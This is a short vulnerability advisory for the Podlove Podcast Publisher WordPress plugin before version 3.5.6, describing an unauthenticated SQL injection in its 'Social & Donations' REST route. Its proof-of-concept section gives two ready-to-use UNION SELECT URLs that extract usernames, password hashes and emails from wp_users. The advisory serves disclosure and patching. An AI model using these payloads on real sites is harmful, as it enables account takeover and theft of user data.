WordPress Plugin Vulnerabilities

Podlove Podcast Publisher < 3.5.6 - Unauthenticated SQL Injection

Description

The plugin contains a 'Social & Donations' module (not activated by default), which adds the rest route '/services/contributor/(?P<id>[\d]+), takes an 'id' and 'category' parameters as arguments. Both parameters can be used for the SQLi.

Proof of Concept

With the 'Social & Donations' module of the plugin activated.

Permalink Setting: Plain

PoC with payload in id param:
/index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23

PoC with payload in category param:
/index.php?rest_route=/podlove/v1/social/services/contributor/1&category=1')+UNION+SELECT+user_login,user_pass,user_email,null,null,null+FROM+wp_users%23